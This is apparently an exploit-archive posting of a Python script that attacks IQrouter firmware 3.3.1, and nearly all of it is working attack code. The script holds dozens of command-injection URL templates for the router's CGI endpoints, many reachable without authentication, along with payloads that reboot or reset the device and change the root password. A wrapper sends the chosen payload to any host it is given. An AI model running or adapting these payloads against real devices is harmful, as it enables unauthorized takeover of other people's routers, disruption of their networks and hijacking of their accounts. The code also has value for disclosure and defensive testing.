IQrouter 3.3.1 Remote Code Execution

2020.04.21
Credit: drakylar
Risk: High
Local: No
Remote: Yes
CWE: N/A

# Exploit Title: IQrouter 3.3.1 Firmware - Remote Code Execution # Date: 2020-04-21 # Exploit Author: drakylar # Vendor Homepage: https://evenroute.com/ # Software Link: https://evenroute.com/iqrouter # Version: IQrouter firmware up to 3.3.1 # Tested on: IQrouter firmware 3.3.1 # CVE : N/A #!/usr/bin/env python3 import argparse from sys import argv, exit try: import requests except ImportError: print("Install requests lib! pip3 install requests") print(""" ####################################################################### # IQrouter multiple RCE and other vulnerabilities # # by drakylar (Shaposhnikov Ilya) # # CVE-2020-11963 CVE-2020-11964 CVE-2020-11966 # # CVE-2020-11967 CVE-2020-11968 # ####################################################################### """) rce_setup = [ [ "/cgi-bin/luci/er/vlanTag?vlan_tag='`{}`'", "RCE /vlanTag (vlan_tag param)" ], [ "/cgi-bin/luci/er/verify_wifi?wifi_conflict='`{}`'", "RCE /verify_wifi (wifi_conflict param). Need hide_wifi_config != true" ], [ "/cgi-bin/luci/er/screen9?save_creds=1&s1&s2='`{}`'&p1&p2", "RCE /screen9 (s2 param)" ], [ "/cgi-bin/luci/er/screen9?save_creds=1&s1='`{}`'&s2&p1&p2", "RCE /screen9 (s1 param)" ], [ "/cgi-bin/luci/er/screen9?save_creds=1&s1&s2&p1&p2='`{}`'", "RCE /screen9 (p2 param)" ], [ "/cgi-bin/luci/er/screen9?save_creds=1&s1&s2&p1='`{}`'&p2", "RCE /screen9 (p1 param)" ], [ "/cgi-bin/luci/er/screen4?save_isp='`{}`", "RCE /screen4 (save_isp param)" ], [ "/cgi-bin/luci/er/screen2?set_wan_modem_interfaces='`{}`'", "RCE /screen2 set_wan_modem_interfaces param)" ], [ "/cgi-bin/luci/er/screen2?find_ip_address_conflict='`{}`'", "RCE /screen2 find_ip_address_conflict param)" ], [ "/cgi-bin/luci/er/screen10?set_security_question='`{}`'", "RCE /screen10 (set_security_question param)" ], [ "/cgi-bin/luci/er/screen10?set_security_answer='`{}`'&set_security_question=1", "RCE /screen10 (set_security_answer param)"], [ "/cgi-bin/luci/er/screen1?zonename='`{}`'", "RCE /screen1 (zonename param)" ], [ "/cgi-bin/luci/er/register?email=`{}`", "RCE /register (email param, result in /cgi-bin/luci/er/get_syslog for result)" ] ] rce_any = [ [ "/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=3&guestwifi_5g_ssid=4&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=1&s2='`{}`'&p1=1&p2=1", "RCE /wifi (s2 param)" ], [ "/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=3&guestwifi_5g_ssid=4&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1='`{}`'&s2=5&p1=6&p2=7", "RCE /wifi (s1 param)" ], [ "/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=3&guestwifi_5g_ssid=4&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=1&s2=2&p1=3&p2='`{}`'", "RCE /wifi (p2 param)" ], [ "/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=3&guestwifi_5g_ssid=4&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=1&s2=2&p1='`{}`'&p2=4", "RCE /wifi (p1 param)" ], [ "/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=3&guestwifi_5g_ssid=`{}`&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=4&s2=5&p1=6&p2=7", "RCE /wifi (guestwifi_5g_ssid param)" ], [ "/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=`{}`&guestwifi_5g_ssid=3&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=4&s2=5&p1=6&p2=7", "RCE /wifi (guestwifi_2g_ssid param)" ], [ "/cgi-bin/luci/er/wifi?enable_guestwifi=1&guest_key='`{}`'&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=2&guestwifi_5g_ssid=3&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=4&s2=5&p1=6&p2=7", "RCE /wifi (guest_key param)" ], [ "/cgi-bin/luci/er/wifi?enable_guestwifi='`{}`'&guest_key=2&disable_guestwifi=1&connection_test=1&disassociate_low_ack_update=1&guestwifi_2g_ssid=3&guestwifi_5g_ssid=4&get_network_details=1&switch_reset_wifi_mode=1&save_creds=1&s1=5&s2=6&p1=6&p2=7", "RCE /wifi (enable_guestwifi param)" ], [ "/cgi-bin/luci/er/screen11.1?email=`{}`&register=123&uilog=123&bg=123", "RCE /screen11.1 (email param)" ], [ "/cgi-bin/luci/er/reboot_link?link='`{}`'", "RCE /reboot_link (link param)" ], [ "/cgi-bin/luci/er/diag_wifi/1/2/3/4/5/'`{}`'/", "RCE /diag_wifi (htm5ghz param)" ], [ "/cgi-bin/luci/er/diag_wifi/1/2/3/4/'`{}`'/6/", "RCE /diag_wifi (htm2ghz param)" ], [ "/cgi-bin/luci/er/diag_wifi/1/2/3/'`{}`'/5/6/", "RCE /diag_wifi (c5ghz param)" ], [ "/cgi-bin/luci/er/diag_wifi/1/2/'`{}`'/4/5/6/", "RCE /diag_wifi (c2ghz param)" ], [ "/cgi-bin/luci/er/diag_set_static_wan/'`{}`'/2/3/4/", "RCE /diag_set_static_wan (static_ip param)" ], [ "/cgi-bin/luci/er/diag_set_static_wan/1/'`{}`'/3/4/", "RCE /diag_set_static_wan (net_mask param)" ], [ "/cgi-bin/luci/er/diag_set_static_wan/1/2/'`{}`'/4/", "RCE /diag_set_static_wan (gateway param)" ], [ "/cgi-bin/luci/er/diag_set_static_wan/1/2/3/'`{}`'/", "RCE /diag_set_static_wan (dns param)" ], [ "/cgi-bin/luci/er/diag_set_static_modem/'`{}`'/2/3/", "RCE /diag_set_static_modem (static_ip param)" ], [ "/cgi-bin/luci/er/diag_set_static_modem/1/'`{}`'/3/", "RCE /diag_set_static_modem (net_mask param)" ], [ "/cgi-bin/luci/er/diag_set_static_modem/1/2/'`{}`'/", "RCE /diag_set_static_modem (gateway param)" ], [ "/cgi-bin/luci/er/diag_set_device_name_and_sync/'`{}`'/", "RCE /diag_set_device_name_and_sync (device_name param)" ], [ "/cgi-bin/luci/er/diag_set_device_name/'`{}`'/", "RCE /diag_set_device_name (device_name param)" ], [ "/cgi-bin/luci/er/diag_pppoe_update/'`{}`'/passs/", "RCE /diag_pppoe_update (wan_username param)" ], [ "/cgi-bin/luci/er/diag_pppoe_update/aaadmin/'`{}`'/", "RCE /diag_pppoe_update (wan_password param)" ], [ "/cgi-bin/luci/er/diag_pppoe/'`{}`'/passsswd/", "RCE /diag_pppoe (wan_username param)" ], [ "/cgi-bin/luci/er/diag_pppoe/aaadmin/'`{}`'/", "RCE /diag_pppoe (wan_password param)" ], [ "/cgi-bin/luci/er/diag_pppoa_update/'`{}`'/paaaasword/", "RCE /diag_pppoa_update (wan_username param)" ], [ "/cgi-bin/luci/er/diag_pppoa_update/aaadmin/'`{}`'/", "RCE /diag_pppoa_update (wan_password param)" ], [ "/cgi-bin/luci/er/diag_pppoa/'`{}`'/passs/", "RCE /diag_pppoa (wan_username param)" ], [ "/cgi-bin/luci/er/diag_pppoa/aaadmin/'`{}`'/", "RCE /diag_pppoa (wan_password param)" ], [ "/cgi-bin/luci/er/advanced_link?link='`{}`'", "RCE /advanced_link (link param)" ] ] advanced_payloads = [ [ "/cgi-bin/luci/er/reboot_link?reboot=1", "Reboot IQrouter (/reboot_link reboot param))" ], [ "/cgi-bin/luci/er/screen2?reboot=1", "Reboot IQrouter (/screen2 reboot param))" ], [ "/cgi-bin/luci/er/index?reset_config=1", "Reset IQrouter (/index reset_config param)" ], [ "/cgi-bin/luci/er/screen7?upgrade=1", "Upgrade IQrouter (/screen7 upgrade param)" ], [ "/cgi-bin/luci/er/vlanTag?restart_network=1", "Restart network (/vlanTag restart_network param)" ], [ "/cgi-bin/luci/er/diag_iperf_cmd/start", "Start iperf script (/diag_iperf_cmd/start)" ], [ "/cgi-bin/luci/er/diag_iperf_cmd/stop", "Stop iperf script (/diag_iperf_cmd/stop)" ], [ "/cgi-bin/luci/er/get_syslog", "Router setup info log (/get_syslog)" ], [ "/cgi-bin/luci/er/diag_set_password/c00lpasswd/", "Change root password to c00lpasswd (can change in code)" ], [ "/cgi-bin/luci/er/reset_password/", "Change root password to 'changeme' (static)" ] ] def print_payloads(): print('#' * 30) print("Payloads list") num = 1 print('######################### RCE without auth ########################') for payload in rce_any: print("{} - {}".format(num, payload[1])) num += 1 print( '############### RCE (router need to be in setup mode) ###############') for payload in rce_setup: print("{} - {}".format(num, payload[1])) num += 1 print( '######################### Advanced payloads #########################') for payload in advanced_payloads: print("{} - {}".format(num, payload[1])) num += 1 parser = argparse.ArgumentParser(description="IQrouter multiple RCE") parser.add_argument('--host', help='Host', type=str) parser.add_argument('-p', '--port', help='Web port (default: 80)', default=80, type=int) parser.add_argument('-n', '--num', help='Payload number', default=0, type=int) parser.add_argument('-c', '--cmd', help='Command to execute (default: pwd)', default="pwd", type=str) parser.add_argument('--protocol', help='Protocol (http/https)', default="http", type=str) args = parser.parse_args() def main(): print("") full_payload_list = rce_setup + rce_any + advanced_payloads payloads_amount = len(full_payload_list) try: hostname = args.host port = args.port payload_num = int(args.num) bash_cmd = args.cmd protocol = args.protocol if payload_num < 1 or payload_num > payloads_amount: print("Error with payload number!") raise IndexError if port < 0 or port > 65535: print("Error with port number") raise IndexError if protocol not in ['http', 'https']: print("Error with protocol name") raise IndexError current_payload = full_payload_list[payload_num - 1] print("Payload: {}".format(current_payload[1])) print("Host: {}".format(hostname)) print("Port: {}".format(port)) print("Protocol: {}".format(protocol)) print("Command: {}".format(bash_cmd)) full_url = "{}://{}:{}{}".format(protocol, hostname, port, current_payload[0].format(bash_cmd)) print("Built URL: {}".format(full_url)) r = requests.get(full_url) print("Status code: {}".format(r.status_code)) return except IndexError: parser.print_help() print_payloads() exit(1) if __name__ == '__main__': print( "\n\nWarning: use TABS(doesn't work in some payloads) or ${IFS} for space.") exit(main())


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